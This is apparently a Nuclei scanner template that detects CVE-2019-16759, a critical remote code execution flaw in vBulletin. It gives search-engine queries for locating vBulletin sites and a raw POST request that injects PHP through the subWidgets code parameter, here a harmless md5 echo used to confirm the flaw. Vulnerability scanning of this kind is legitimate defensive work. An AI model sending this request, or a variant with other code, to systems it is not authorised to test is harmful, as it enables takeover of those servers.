vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: CVE-2019-16759
info:
name: vBulletin 5.0.0-5.5.4 - Remote Command Execution
author: madrobot
severity: critical
description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
remediation: |
Upgrade vBulletin to a version that is not affected by CVE-2019-16759.
reference:
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/
- https://seclists.org/fulldisclosure/2019/Sep/31
- https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/
- https://nvd.nist.gov/vuln/detail/CVE-2019-16759
- https://github.com/20142995/Goby
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-16759
cwe-id: CWE-94
epss-score: 0.94407
epss-percentile: 0.99973
cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: vbulletin
product: vbulletin
shodan-query:
- http.component:"vBulletin"
- http.html:"powered by vbulletin"
- http.component:"vbulletin"
- http.title:"powered by vbulletin"
- cpe:"cpe:2.3:a:vbulletin:vbulletin"
fofa-query:
- body="powered by vbulletin"
- title="powered by vbulletin"
google-query:
- intext:"powered by vbulletin"
- intitle:"powered by vbulletin"
tags: cve,cve2019,rce,kev,seclists,vbulletin
http:
- raw:
- |
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B
matchers-condition: and
matchers:
- type: word
words:
- "addcc9f9f2f40e2e6aca3079b73d9d17"
- type: status
status:
- 200
# digest: 4b0a00483046022100b9689d01d9b19e6946e76f3a351bb832d458a0bb1da430c80827b82e46b800e8022100d9a02141d6828ab9f0753138e7a6050cad02582d3b29516300247c6982bd2bb7:922c64590222798bb761d5b6d8e72950